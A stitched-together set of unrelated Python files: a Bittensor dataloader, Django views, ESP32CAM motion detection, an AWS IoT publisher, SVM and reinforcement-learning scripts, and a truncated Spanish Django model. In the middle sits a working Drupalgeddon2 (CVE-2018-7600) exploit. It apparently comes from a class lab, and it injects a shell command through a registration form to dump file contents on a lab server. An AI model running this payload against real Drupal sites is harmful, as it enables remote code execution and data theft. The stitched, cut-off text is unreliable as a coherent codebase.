""" Create and init the GenesisTextDataloader class, which handles dataloading from ipfs
"""

# The MIT License (MIT)
# Copyright © 2021 Yuma Rao

# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
# documentation files (the “Software”), to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,
# and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

# The above copyright notice and this permission notice shall be included in all copies or substantial portions of
# the Software.

# THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO
# THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.

import argparse
import copy
from munch import Munch

import bittensor
from . import dataloader_impl

class dataloader:
    """ Create and init the GenesisTextDataloader class, which handles dataloading from ipfs
    """
    def __new__(
            cls,
            config: 'bittensor.config' = None,
            block_size: int = None,
            batch_size: int = None,
            max_corpus_size:int = None,
            num_workers: int = None,
            dataset: str=None
        ):
        if config == None:
            config = dataloader.config()
        config = copy.deepcopy( config )
        config.dataloader.block_size = block_size if block_size != None else config.dataloader.block_size
        config.dataloader.batch_size = batch_size if batch_size != None else config.dataloader.batch_size
        config.dataloader.max_corpus_size = max_corpus_size if max_corpus_size != None else config.dataloader.max_corpus_size
        config.dataloader.num_workers = num_workers if num_workers != None else config.dataloader.num_workers
        config.dataloader.dataset = dataset if dataset != None else config.dataloader.dataset
        dataloader.check_config( config )
        return dataloader_impl.GenesisTextDataloader(
            block_size = config.dataloader.block_size,
            batch_size = config.dataloader.batch_size,
            max_corpus_size = config.dataloader.max_corpus_size,
            num_workers = config.dataloader.num_workers,
            dataset = config.dataloader.dataset,
            data_dir = config.dataloader.data_dir
        )

    @classmethod
    def config(cls) -> 'bittensor.Config':
        """ Get config from the argument parser
            Return: bittensor.config object
        """
        parser = argparse.ArgumentParser()
        dataloader.add_args( parser )
        return bittensor.config( parser )

    @classmethod
    def add_args(cls, parser: argparse.ArgumentParser ):
        """ Accept specific arguments from parser
        """
        try:
            parser.add_argument('--dataloader.batch_size', default=10, type=int, help='Batch size.')
            parser.add_argument('--dataloader.block_size', default=20, type=int, help='Number of text items to pull for each example..')
            parser.add_argument('--dataloader.max_corpus_size', default=1e+6, type=int, help='Maximum amount of data to download from IPFS into memory for training.')
            parser.add_argument('--dataloader.num_workers', default=0, type=int, help='Number of workers for data loader.')
            parser.add_argument('--dataloader.dataset', default='train', type=str, help='Which datasets to use (genesis or wikitext)).')
            parser.add_argument('--dataloader.data_dir', default='~/.bittensor/data/', type=str, help='Where to save and load the data.')
        except argparse.ArgumentError:
            # re-parsing arguments.
            pass

    @classmethod
    def check_config( cls, config: 'bittensor.Config' ):
        """ Check config for batch size, block size, corpus size, num_workers and dataset
        """
        assert config.dataloader.batch_size > 0, 'Batch size must be larger than 0'
        assert config.dataloader.block_size > 0, 'Block size must be larger than 0'
        assert config.dataloader.max_corpus_size > 0, 'max_corpus_size must be larger than 0'
        assert config.dataloader.num_workers >= 0, 'num_workers must be equal to or larger than 0'
        assert config.dataloader.dataset in ['train','test','validation'], 'dataset must be one of the following choices: genesis, wikitext, test, or validation'


from django.shortcuts import render
from django.views.generic import ListView
from .models import Assignment, Submission
from .forms import AssignmentForm, SubmissionForm
from django.shortcuts import render, redirect, get_object_or_404

def new_assignment(request):
    assignments = Assignment.objects.all()
    if request.method == 'POST':
        form = AssignmentForm(request.POST)
        if form.is_valid():
            assignment = form.save()
            return redirect('home')
    else:
        form = AssignmentForm()
    return render(request, 'home.html', {'form': form, 'assignments': assignments})

def show_assignment(request, pk):
    assignment = get_object_or_404(Assignment, pk=pk)
    submissions = assignment.submission_set.all()
    if request.method == 'POST':
        form = SubmissionForm(request.POST, request.FILES)
        if form.is_valid():
            submission = form.save(commit=False)
            submission.assignment = assignment
            submission.save()
            return redirect('show_assignment', pk=pk)
    else:
        form = SubmissionForm()
    return render(request, 'assignment.html', {'form': form, 'assignment': assignment, 'submissions': submissions})


# Distributed under MIT License
# Copyright (c) 2021 Remi BERTHOLET
""" Motion detection only work with ESP32CAM (Requires specially modified ESP32CAM firmware to handle motion detection.) """
import sys
import uasyncio
import video
from gc import collect
from tools import useful, jsonconfig, lang, linearfunction, tasking
from server.notifier import Notifier
from server.server   import Server
from server.presence import Presence
from motion.historic import Historic
from video.video     import Camera

class MotionConfig(jsonconfig.JsonConfig):
	""" Configuration class of motion detection """
	def __init__(self):
		jsonconfig.JsonConfig.__init__(self)
		# Indicates if the motion is activated
		self.activated = False

		# Suspend the motion detection when presence detected
		self.suspendOnPresence = True

		# Minimum difference contigous threshold to detect movement
		self.differencesDetection = 4

		# Sensitivity in percent (100% = max sensitivity, 0% = min sensitivity)
		self.sensitivity=80

		# Max images in motion historic
		self.maxMotionImages=10

		# Glitch threshold of image ignored (sometime the camera bug)
		self.thresholdGlitch=2

		# Threshold of minimum image to detect motion
		self.thresholdMotion=3

		# Number of images before camera stabilization
		self.stabilizationCamera=8

		# Turn on the led flash when the light goes down
		self.lightCompensation = True

		# Notify motion
		self.notify = True

		# Empty mask is equal disable masking
		self.mask = b""

class ImageMotion:
	""" Class managing a motion detection image """
	baseIndex = [0]
	motionBaseId = [0]
	created = [0]
	def __init__(self, motion, config):
		""" Constructor """
		self.motion = motion
		self.baseIndex[0] += 1
		self.created[0] += 1
		self.index    = self.baseIndex[0]
		self.filename = None
		self.motionId = None
		self.date     = useful.dateToString()
		self.filename = useful.dateToFilename()
		path = useful.dateToPath()[:-1]
		if path[-1] in [0x30,0x31,0x32]:
			path = path[:-1] + b"00"
		else:
			path = path[:-1] + b"30"
		self.path     = path
		self.motionDetected = False
		self.config = config
		self.comparison = None

	def deinit(self):
		""" Destructor """
		self.created[0] -= 1
		if self.created[0] >= 32:
			print("Destroy %d"%self.created[0])
		if self.motion:
			self.motion.deinit()

	def setMotionId(self, motionId = None):
		""" Set the unique image identifier """
		if motionId == None:
			self.motionBaseId[0] += 1
			self.motionId = self.motionBaseId[0]
		else:
			if self.motionId == None:
				self.motionId = motionId
			else:
				print("Motion id already set")

	def getMotionId(self):
		""" Get the unique image identifier """
		return self.motionId

	def getFilename(self):
		""" Get the storage filename """
		return "%s Id=%d D=%d"%(self.filename, self.index, self.getDiffCount())

	def getMessage(self):
		""" Get the message of motion """
		return "%s %s D=%d"%(useful.tostrings(lang.motion_detected), self.date[-8:], self.getDiffCount())

	def getInformations(self):
		""" Return the informations of motion """
		if self.comparison != None:
			result    = self.comparison.copy()
		else:
			result = {}
		result["image"]    = self.getFilename() + ".jpg"
		result["path"]     = self.path
		result["index"]    = self.index
		result["date"]     = self.date
		result["motionId"] = self.motionId
		return result

	async def save(self):
		""" Save the image on sd card """
		return await Historic.addMotion(useful.tostrings(self.path), self.getFilename(), self.motion.getImage(), self.getInformations())

	def compare(self, previous, extractShape=True):
		""" Compare two motion images to get differences """
		res = self.motion.compare(previous.motion, extractShape)
		self.comparison = res
		return res

	def getMotionDetected(self):
		""" Get the motion detection status """
		return self.motionDetected

	def setMotionDetected(self):
		""" Set the motion detection status """
		self.motionDetected = True

	def get(self):
		""" Get the image captured """
		return self.motion.getImage()

	def getComparison(self):
		""" Return the comparison result """
		return self.comparison

	def getDiffCount(self):
		""" Get the difference contigous """
		if self.comparison:
			return self.comparison["diff"]["count"]
		return 0

	def getDiffHisto(self):
		""" Get the histogram difference """
		if self.comparison:
			return self.comparison["diff"]["diffhisto"]
		return 0

	def getDifferences(self):
		""" Get the differences """
		if self.comparison:
			return self.comparison["diff"]["diffs"]
		return ""

	def resetDifferences(self):
		""" Reset the differences, used during the camera stabilization image """
		self.comparison = None

	def getSize(self):
		""" Return the size of image buffer """
		return self.motion.getSize()

	def refreshConfig(self):
		""" Refresh the motion detection configuration """
		if self.motion != None:
			mask = useful.tobytes(self.config.mask)
			if not b"/" in mask:
				mask = b""
			errorLight = linearfunction.getFx(self.config.sensitivity, linearfunction.getLinear(100,8,0,64))
			self.motion.configure(\
				{
					"mask":mask,
					"errorLights":[[0,1],[128,errorLight],[192, errorLight],[256,errorLight]],
					"errorHistos":[[0,0],[32,32],[128,128],[256,256]]
				})

class SnapConfig:
	""" Store last motion information """
	info = None

	@staticmethod
	def get(width=None, height=None):
		""" Get the last motion information """
		if width != None and height != None:
			SnapConfig.info = SnapConfig(width, height)
		elif SnapConfig.info == None:
			SnapConfig.info = SnapConfig()
		return SnapConfig.info

	def __init__(self, width=800, height=600):
		""" Constructor """
		self.width  = width
		self.height = height
		if (((self.width/8) % 8) == 0):
			self.square_x = 64
		else:
			self.square_x = 40

		if (((self.height/8) % 8) == 0):
			self.square_y = 64
		else:
			self.square_y = 40
		self.diff_x = self.width  // self.square_x
		self.diff_y = self.height // self.square_y
		self.max = self.diff_x * self.diff_y

class Motion:
	""" Class to manage the motion capture """
	def __init__(self, config= None, pirDetection=False):
		self.images = []
		self.index  = 0
		self.config = config
		self.pirDetection = pirDetection
		self.imageBackground = None
		self.mustRefreshConfig = True
		self.quality = 15
		self.previousQuality = 0
		self.flashLevel = 0

	def __del__(self):
		""" Destructor """
		self.cleanup()

	def cleanup(self):
		""" Clean up all images """
		for image in self.images:
			if id(image) != id(self.imageBackground):
				image.deinit()
		self.images = []
		if self.imageBackground:
			self.imageBackground.deinit()
		self.imageBackground = None

	def open(self):
		""" Open camera """
		if video.Camera.open():
			return True
		else:
			return False

	def resume(self):
		""" Resume the camera, restore the camera configuration after an interruption """
		video.Camera.framesize(b"%dx%d"%(SnapConfig.get().width, SnapConfig.get().height))
		video.Camera.pixformat(b"JPEG")
		video.Camera.quality(self.quality)
		video.Camera.brightness(0)
		video.Camera.contrast(0)
		video.Camera.saturation(0)
		video.Camera.hmirror(0)
		video.Camera.vflip(0)
		video.Camera.flash(self.flashLevel)

		detected, changePolling = self.detect(False)
		if detected == False:
			self.cleanup()

	async def capture(self):
		""" Capture motion image """
		result = None
		# If enough image taken
		if len(self.images) >= self.config.maxMotionImages:
			# Get older image
			image = self.images.pop()

			# If motion detected on image, on battery the first five images are sent
			if image.getMotionDetected() or (self.pirDetection and image.index <= 3):
				# Notification of motion
				result = (image.getMessage(), image)

				# Save image to sdcard
				if await image.save() == False:
					if self.config.notify:
						await Notifier.notify(lang.failed_to_save)
			else:
				# Destroy image
				self.deinitImage(image)

		motion = video.Camera.motion()

		# Light can be compensed with flash led
		if self.config.lightCompensation:
			# If it has enough light
			if motion.getLight() >= 32:
				# If flash led working
				if self.flashLevel >= 2:
					# Reduce light of flash led
					self.flashLevel -= 2
					video.Camera.flash(self.flashLevel)
			# If it has not enough light
			if motion.getLight() <= 24:
				# If flash to low
				if self.flashLevel <= 192:
					# Increase the light of flash led
					self.flashLevel += 2
					video.Camera.flash(self.flashLevel)
		else:
			# If flash led working and compensation disabled
			if self.flashLevel > 0:
				# Stop flash led
				self.flashLevel = 0
				video.Camera.flash(self.flashLevel)

		image = ImageMotion(motion, self.config)
		if self.mustRefreshConfig:
			image.refreshConfig()
			self.mustRefreshConfig = False
		self.images.insert(0, image)
		self.index += 1
		return result

	def refreshConfig(self):
		""" Force the refresh of motion configuration """
		self.mustRefreshConfig = True

	def isStabilized(self):
		""" Indicates if the camera is stabilized """
		# If the PIR detection force the stabilization
		if self.pirDetection == True:
			stabilized = True
		# If the camera not stabilized
		elif len(self.images) < self.config.stabilizationCamera and len(self.images) < self.config.maxMotionImages:
			stabilized = False
		else:
			stabilized = True
		return stabilized

	def isDetected(self, comparison):
		""" Indicates if motion detected """
		if comparison:
			# If image seem not equal to previous
			if comparison["diff"]["count"] >= self.config.differencesDetection:
				return True
		return False

	def adjustQuality(self, current):
		""" Adjust the image quality according to the size of image to"""
		if len(self.images) >= self.config.maxMotionImages:
			changed = False
			size = current.getSize()
			if size > 62*1024:
				if self.quality < 63:
					self.quality += 1
					changed = True
					video.Camera.quality(self.quality, False)
			else:
				if self.quality >= 1:
					if size < 50*1024:
						self.quality -= 1
						changed = True
						video.Camera.quality(self.quality, False)
			if changed == False:
				if self.previousQuality != self.quality:
					self.previousQuality = self.quality

	def compare(self, display=True):
		""" Compare all images captured and search differences """
		differences = {}
		if len(self.images) >= 2:
			current = self.images[0]

			self.adjustQuality(current)

			# Compute the motion identifier
			for previous in self.images[1:]:
				# # If image not already compared
				comparison = current.compare(previous, False)

				# If camera not stabilized
				if self.isStabilized() == False:
					# Reject the differences
					current.resetDifferences()
					break

				# If image seem equal to previous
				if not self.isDetected(comparison):
					# Reuse the motion identifier
					current.setMotionId(previous.motionId)
					break
			else:
				# Create new motion id
				current.setMotionId()

				# Compare the image with the background if existing and extract modification
				if self.imageBackground != None:
					comparison = current.compare(self.imageBackground, True)

			# Compute the list of differences
			diffs = ""
			index = 0
			for image in self.images:
				differences.setdefault(image.getMotionId(), []).append(image.getMotionId())
				if image.getMotionId() != None:
					if image.index % 10 == 0:
						trace = "_"
					else:
						trace = " "
					if image.index > index:
						index = image.index
					diffs += "%d:%d%s%s"%(image.getMotionId(), image.getDiffCount(), chr(0x41 + ((256-image.getDiffHisto())//10)), trace)
			if display:
				sys.stdout.write("\r%s %s (%d) "%(useful.dateToString()[12:], diffs, index))
		return differences

	def deinitImage(self, image):
		""" Release image allocated """
		if image:
			if not image in self.images:
				if image != self.imageBackground:
					image.deinit()

	def detect(self, display=True):
		""" Detect motion """
		detected = False
		changePolling = False

		# Compute the list of differences
		differences = self.compare(display)

		# Too many differences found
		if len(list(differences.keys())) >= self.config.thresholdMotion:
			detected = True
			changePolling = True
		# If no differences
		elif len(list(differences.keys())) == 1:
			image = self.imageBackground
			self.imageBackground = self.images[0]
			self.deinitImage(image)
			detected = False
		# If not enough differences
		elif len(list(differences.keys())) <= self.config.thresholdGlitch:
			detected = True
			changePolling = True
			# Check if it is a glitch
			for diff in differences.values():
				if len(diff) <= 1:
					# Glitch ignored
					detected = False
					break
		# Not detected
		else:
			detected = False

		if detected:
			# Mark all motion images
			for image in self.images:
				# If image seem not equal to previous
				if self.isDetected(image.getComparison()):
					image.setMotionDetected()
		return detected, changePolling

class Detection:
	""" Asynchronous motion detection object """
	def __init__(self, pirDetection):
		""" Constructor """
		self.pirDetection = pirDetection
		self.loadConfig()
		self.motion = None

		self.batteryLevel = -2
		if self.pirDetection == True:
			self.pollingFrequency = 3
		else:
			self.pollingFrequency = 100
		self.detection = None
		self.activated = None
		self.refreshConfigCounter = 0

	def loadConfig(self):
		""" Load motion configuration """
		# Open motion configuration
		self.motionConfig      = MotionConfig()
		if self.motionConfig.load() == False:
			self.motionConfig.save()

	def refreshConfig(self):
		""" Refresh the configuration : it can be changed by web page """
		if self.refreshConfigCounter % 11 == 0:
			# If configuration changed
			if self.motionConfig.isChanged():
				self.motionConfig.load()
				useful.syslog("Change motion config %s"%self.motionConfig.toString(), display=False)
				if self.motion:
					self.motion.refreshConfig()
		self.refreshConfigCounter += 1

	async def run(self):
		""" Main asynchronous task """
		await tasking.taskMonitoring(self.detect)

	async def detect(self):
		""" Detect motion """
		result = False
		# Wait the server resume
		await Server.waitResume()

		# Release previously alocated image
		self.releaseImage()

		# If the motion detection activated
		if await self.isActivated():
			# Capture motion
			result = await self.capture()
		else:
			await uasyncio.sleep(3)
			result = True

		# Refresh configuration when it changed
		self.refreshConfig()

		return result

	async def isActivated(self):
		""" Indicates if the motion detection is activated according to configuration or presence """
		result = False

		# If motion activated
		if self.motionConfig.activated:
			# If motion must be suspended on presence
			if self.motionConfig.suspendOnPresence:
				# If home is empty
				if Presence.isDetected() == False:
					result = True
			else:
				result = True

		# If state of motion changed
		if self.activated != result:
			# If notification enabled
			if self.motionConfig.notify:
				if result:
					await Notifier.notify(lang.motion_detection_on)
				else:
					await Notifier.notify(lang.motion_detection_off)
			self.activated = result

		# If camera activated and motion activated
		if Camera.isActivated() and result:
			result = True
		else:
			result = False

		# If motion disabled
		if result == False:
			# Wait moment before next loop
			await uasyncio.sleep_ms(500)
		return result

	async def initMotion(self):
		""" Initialize motion detection """
		firstInit = False

		# If motion not initialized
		if self.motion == None:
			self.motion = Motion(self.motionConfig, self.pirDetection)
			if self.motion.open() == False:
				self.motion = None
				raise Exception("Cannot open camera")
			else:
				firstInit = True

		# If the camera configuration changed
		if video.Camera.isModified() or firstInit:
			# Restore motion configuration
			self.motion.resume()
			video.Camera.clearModified()

	def releaseImage(self):
		""" Release motion image allocated """
		# If detection
		if self.detection:
			message, image = self.detection
			# Release image buffer
			self.motion.deinitImage(image)

		# Force garbage collection each 20 images
		if self.motion:
			if self.motion.index %30 == 0:
				collect()

	async def capture(self):
		""" Capture motion """
		result = False

		# If camera not stabilized speed start
		if self.motion and self.motion.isStabilized() == True:
			await uasyncio.sleep_ms(self.pollingFrequency*100 if Server.isSlow() else self.pollingFrequency)

		try:
			# Waits for the camera's availability
			reserved = await video.Camera.reserve(self, timeout=60)

			# If reserved
			if reserved:
				# Initialize motion detection
				await self.initMotion()

				# Capture motion image
				self.detection = await self.motion.capture()

				# If motion detected
				if self.detection != None:
					# Notify motion with push over
					message, image = self.detection
					if self.motionConfig.notify:
						await Notifier.notify(message, image.get())
				# Detect motion
				detected, changePolling = self.motion.detect()

				# If motion found
				if changePolling == True:
					# Speed up the polling frequency
					self.pollingFrequency = 10
					Historic.setMotionState(True)
				else:
					# Slow down the polling frequency
					self.pollingFrequency = 50
					Historic.setMotionState(False)
				result = True
			else:
				if self.motionConfig.notify:
					await Notifier.notify(lang.motion_detection_suspended)
				result = True

		finally:
			if reserved:
				await video.Camera.unreserve(self)
		return result

async def detectMotion(pirDetection):
	""" Asynchronous motion detection main routine """
	detection = Detection(pirDetection)
	await detection.run()


from AWSIoTPythonSDK.MQTTLib import AWSIoTMQTTClient
import logging
import time
import argparse
import yaml
import json
import datetime
import calendar

# General message notification callback
def customOnMessage(message):
    print("Received a new message: ")
    print(message.payload)
    print("from topic: ")
    print(message.topic)
    print("--------------\n\n")

# Suback callback
def customSubackCallback(mid, data):
    print("Received SUBACK packet id: ")
    print(mid)
    print("Granted QoS: ")
    print(data)
    print("++++++++++++++\n\n")

# Puback callback
def customPubackCallback(mid):
    print("Received PUBACK packet id: ")
    print(mid)
    print("++++++++++++++\n\n")

with open('pyDeviceConfig.yml') as file:
    config = yaml.load(file)

host = config['specificConfig']['ApNortheast1']['host']
rootca = config['specificConfig']['ApNortheast1']['rootCaPath']
clientcert = config['specificConfig']['ApNortheast1']['certificatePath']
clientkey = config['specificConfig']['ApNortheast1']['privateKeyPath']
clientId = config['CommonConfig']['clientid']
topic = config['topicConfig']['test']

print("Endpoint: " + host + "\n" \
        "RootCA path: " + rootca + "\n" \
        "clientcert path: " + clientcert + "\n" \
        "clientkey path: " + clientkey + "\n" \
        "clientId: " + clientId + "\n" \
        "topic: " + topic + "\n")

# Configure logging
logger = logging.getLogger("AWSIoTPythonSDK.core")
logger.setLevel(logging.DEBUG)
streamHandler = logging.StreamHandler()
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
streamHandler.setFormatter(formatter)
logger.addHandler(streamHandler)

# Init AWSIoTMQTTClient (Not use websocket)
myAWSIoTMQTTClient = None
myAWSIoTMQTTClient = AWSIoTMQTTClient(clientId)
myAWSIoTMQTTClient.configureEndpoint(host, 8883)
myAWSIoTMQTTClient.configureCredentials(rootca, clientkey, clientcert)

# AWSIoTMQTTClient connection configuration
myAWSIoTMQTTClient.configureAutoReconnectBackoffTime(1, 32, 20)
myAWSIoTMQTTClient.configureOfflinePublishQueueing(-1)  # Infinite offline Publish queueing
myAWSIoTMQTTClient.configureDrainingFrequency(2)  # Draining: 2 Hz
myAWSIoTMQTTClient.configureConnectDisconnectTimeout(10)  # 10 sec
myAWSIoTMQTTClient.configureMQTTOperationTimeout(5)  # 5 sec
myAWSIoTMQTTClient.onMessage = customOnMessage

# Connect and subscribe to AWS IoT
myAWSIoTMQTTClient.connect()
# Note that we are not putting a message callback here. We are using the general message notification callback.
myAWSIoTMQTTClient.subscribeAsync(topic, 1, ackCallback=customSubackCallback)
time.sleep(2)

# test configure
humidity = "50"
temperature = "20"

# Publish to the same topic in a loop forever
while True:
    # timestamp
    now = datetime.datetime.utcnow()
    recordat = str(now.strftime("%Y-%m-%d"))
    timeStamp = str(calendar.timegm(now.utctimetuple()))

    # publish
    publishPayload = json.dumps({"recordat": recordat, "time_stamp": timeStamp, "uuid": clientId,  "room_humidity": humidity, "room_temperature": temperature})
    myAWSIoTMQTTClient.publishAsync(topic, publishPayload, 1, ackCallback=customPubackCallback)
    time.sleep(1)


import numpy as np
np.random.seed(222)

import pandas as pd
import numpy as np
from sklearn import svm

train = pd.read_csv('train_recode_8.csv.gz', compression="gzip")
test = pd.read_csv('test_recode_8.csv.gz', compression="gzip")
train.shape
test.shape

y_train = train['target'].ravel()
all_data = pd.concat([train.drop(['loss', 'target'], axis=1), test], ignore_index=True)
all_data.index
all_data.head()

df_normal = pd.DataFrame(all_data, columns = ['claim_id'])
for f in all_data.columns[1:]:
    s = (all_data[f] - all_data[f].mean()) / all_data[f].std()
    frames = [df_normal, s]
    df_normal = pd.concat(frames, axis=1)

train_norm = pd.merge(pd.DataFrame(train['claim_id']), df_normal, on='claim_id', how='inner', sort=False)
test_norm = pd.merge(pd.DataFrame(test['claim_id']), df_normal, on='claim_id', how='inner', sort=False)

#####Sample Data#####
train_svm = train_norm.sample(frac=0.1)
y_sample = pd.merge(train[['claim_id', 'target']], train_svm[['claim_id']], on='claim_id', how='inner', sort=False)
y_train = y_sample['target'].ravel()
#####################

#y_train = train['target'].ravel()
X = train_svm.drop(['claim_id'], axis=1)
X_test = test.drop(['claim_id'], axis=1)

train_id = train_svm['claim_id'].values
test_id = test['claim_id'].values

svc_rbf = svm.SVC(kernel='rbf', probability=True, decision_function_shape='ovr', cache_size=50000)
svc_lin = svm.SVC(kernel='poly')
nu_rbf = svm.NuSVC(kernel='rbf')
nu_lin = svm.NuSVC(kernel='poly')

svc_rbf.fit(X, y_train)
dec = svc_rbf.decision_function(X)
pred = svc_rbf.predict_proba(X)


import os
from train import get_network_and_environment_creator, bool_arg
import custom_logging
import argparse
import numpy as np
import time
from PIL import Image
import tensorflow as tf
from paac import PAACLearner

def get_save_frame(dest_folder, name):
    class Counter:
        def __init__(self):
            self.counter = 0
        def increase(self):
            self.counter += 1
        def get(self):
            return self.counter
    counter = Counter()

    def get_frame(frame):
        im = Image.fromarray(frame[:, :, ::-1])
        im.save("{}_{:05d}.png".format(os.path.join(dest_folder, name), counter.get()))
        counter.increase()
        return False
    return get_frame

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-f', '--folder', type=str, help="Folder where to save the debugging information.", dest="folder")
    parser.add_argument('-tc', '--test_count', default='5', type=int, help="The amount of tests to run on the given network", dest="test_count")
    parser.add_argument('-re', '--random_eval', default=False, type=bool_arg, help="Whether or not to use 35 random steps", dest="random_eval")
    parser.add_argument('-s', '--show', default=False, type=bool_arg, help="Whether or not to show the run", dest="show")
    parser.add_argument('-gf', '--gif_folder', default=None, type=str, help="The folder to save the gifs", dest="gif_folder")
    parser.add_argument('-d', '--device', default='/gpu:0', type=str, help="Device to be used ('/cpu:0', '/gpu:0', '/gpu:1',...)", dest="device")

    args = parser.parse_args()
    arg_file = os.path.join(args.folder, 'args.json')
    device = args.device
    for k, v in custom_logging.load_args(arg_file).items():
        setattr(args, k, v)
    args.max_global_steps = 0
    df = args.folder
    args.debugging_folder = '/tmp/logs'
    args.device = device

    if args.random_eval:
        args.random_start = False
    args.single_life_episodes = False
    if args.show:
        args.visualize = 1

    args.actor_id = 0
    rng = np.random.RandomState(int(time.time()))
    args.random_seed = rng.randint(1000)

    network_creator, env_creator = get_network_and_environment_creator(args)
    network = network_creator()
    saver = tf.train.Saver()

    rewards = []
    environment = env_creator.create_environment(0)
    if args.gif_folder:
        if not os.path.exists(args.gif_folder):
            os.makedirs(args.gif_folder)
        environment.on_new_frame = get_save_frame(args.gif_folder, 'gif')
    print(args.random_eval)
    with tf.Session() as sess:
        checkpoints_ = os.path.join(df, 'checkpoints')
        network.init(checkpoints_, saver, sess)
        for i in range(args.test_count):
            state = environment.get_initial_state()
            if args.random_eval:
                for _ in range(35):
                    state, _, _ = environment.next(np.eye(environment.get_legal_actions().shape[0])[rng.randint(environment.get_legal_actions().shape[0])])

            episode_over = False
            reward = 0.0
            while not episode_over:
                action = PAACLearner.choose_next_actions(network, env_creator.num_actions, [state], sess)
                state, r, episode_over = environment.next(action[0])
                reward += r
            rewards.append(reward)
            print(reward)
        print(np.mean(rewards), np.min(rewards), np.max(rewards), np.std(rewards))


import os
import argparse
import math
import random
import subprocess
import time

parser = argparse.ArgumentParser(description='main_runner')
parser.add_argument('--dataset_size','-n',type=int,default=1000,help='Number of elements in S, i.e. number of key-value pairs')
parser.add_argument('--epsilon','-e',type=float,default=0.1,help='Epsilon value')
parser.add_argument('--m','-m',type=int,default=15,help='The number of bits of the prime p')
parser.add_argument('--s','-s',type=int,default=4,help='Number of hash functions')
parser.add_argument('--range','-r',type=int,default=20,help='Number of possible function output values')
parser.add_argument('--buckets','-B',type=int,default=10,help='Number of buckets')
# parser.add_argument('--num_exp','-ne',type=int,default=10,help='Number of experiments')
args = parser.parse_args()

n = args.dataset_size
e = args.epsilon
m = args.m
s = args.s
r = args.range
B = args.buckets

k = math.ceil(math.log(r, 2))

if m < k:
	raise ValueError('Specify m to be larger than or equal log_2(range).')

keys = random.sample(range(n), n)
data = [random.randint(0,r-1) for i in range(n)]

with open('dataset.txt', 'w') as f:
    for i in range(len(data)):
        key = keys[i]
        item = data[i]
        f.write("%s %s\n" % (key,item) )

timenow = time.time()

print(subprocess.check_output("./test_bucketing.o %s %s %s %s %s %s < dataset.txt"%(n,e,m,s,k,B),shell=True))

print(time.time()-timenow)


import sys
import requests
from requests.auth import HTTPBasicAuth

# Based on https://github.com/a2u/CVE-2018-7600 by Vitalii Rudnykh

target = "https://drupal.samsclass.info/"

url = target + 'user/register?element_parents=account/mail/' \
      + '%23value&ajax_form=1&_wrapper_format=drupal_ajax'

payload = {'form_id': 'user_register_form', '_drupal_ajax': '1',
           'mail[#post_render][]': 'exec', 'mail[#type]': 'markup',
           'mail[#markup]': 'ls | xargs -I % bash -c "echo % && cat %" | tee 0xBB.txt'}

r = requests.post(url, data=payload, auth=HTTPBasicAuth('student1', 'student1'))

check = requests.get(target + '0xBB.txt', auth=HTTPBasicAuth('student1', 'student1'))
if check.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'0xBB.txt')


from django.db import models
from django.core.exceptions import ValidationError
from django.db.models.enums import TextChoices
from django.db.models.signals import pre_save

class Caja(models.Model):

    codigo = models.CharField('Identificador', max_length= 4, unique=True)
    saldo_disponible = models.DecimalField('Saldo disponible en pesos', decimal_places=2, max_digits=9)
    saldo_disponible_dolares = models.DecimalField('Saldo disponible en dolares', decimal_places=2, max_digits=9)
    saldo_disponible_euros = models.DecimalField('Saldo disponible en euros', decimal_places=2, max_digits=9)
    egresos = models.DecimalField('Egresos', decimal_places=2, max_digits=9)
    ingresos_en_pesos = models.DecimalField('Ingresos en pesos', decimal_places=2, max_digits=9)
    ingresos_en_dolares = models.DecimalField('Ingresos en dolares', decimal_places=2, max_digits=9)
    ingresos_en_euros = models.DecimalField('Ingresos en euros', decimal_places=2, max_digits=9)
    saldo_inicial = models.DecimalField('Saldo Inicial', decimal_places=2, max_digits=9)
    saldo_final = models.DecimalField('Saldo Final', decimal_places=2, max_digits=9)
    sucursal_id = models.ForeignKey('Sucursal', on_delete=models.PROTECT, null=True)

    def clean(self):

        cajas = Caja.objects.all()

        for caja in cajas:
            if self.codigo == caja.codigo and self.id != caja.id:
                raise ValidationError('Ya existe una caja con el identificador ingresado.')

        if self.sucursal_id.estado.opciones == 'INACTIVA':
            raise ValidationError('No puedes registrar una caja a una sucursal inactiva.')

        if not self.codigo.isalnum():
            raise ValidationError('El identificador solo puede contener letras y números.')
        if len(self.codigo) < 2 or len(self.codigo) > 4:
            raise ValidationError('El indentificador debe tener entre 2 y 4 caracteres.')
        if self.saldo_disponible == None or self.saldo_disponible < 0 :
            raise ValidationError('El saldo disponible debe ser un número positivo, con un máximo de 7 cifras.')
        if self.saldo_disponible_dolares == None or self.saldo_disponible_dolares < 0:
            raise ValidationError('El saldo disponible en dolares debe ser un número positivo, con un máximo de 7 cifras.')
        if self.saldo_disponible_euros == None or self.saldo_disponible_euros < 0:
            raise ValidationError('El saldo disponible en euros debe ser un número positivo, con un máximo de 7 cifras.')
        if self.egresos == None or self.egresos < 0 :
            raise ValidationError('Los egresos deben ser un número positivo, con un máximo de 7 cifras.')
        if self.ingresos_en_pesos == None or self.ingresos_en_pesos < 0:
            raise ValidationError('Los ingresos en pesos deben ser un número positivo, con un máximo de 7 cifras.')
        if self.ingresos_en_dolares == None or self.ingresos_en_dolares < 0:
            raise ValidationError('Los ingresos en dolares deben ser un número positivo, con un máximo de 7 cifras.')
        if self.ingresos_en_euros == None or self.ingresos_en_euros < 0:
            raise ValidationError('Los ingresos en euros deben ser un número positivo, con un máximo de 7 cifras.')
        if self.saldo_inicial == None or self.saldo_inicial < 0 :
            raise ValidationError('El saldo inicial debe ser un número positivo, con un máximo de 7 cifras.')
        if self.saldo_final == None or self.saldo_final < 0:
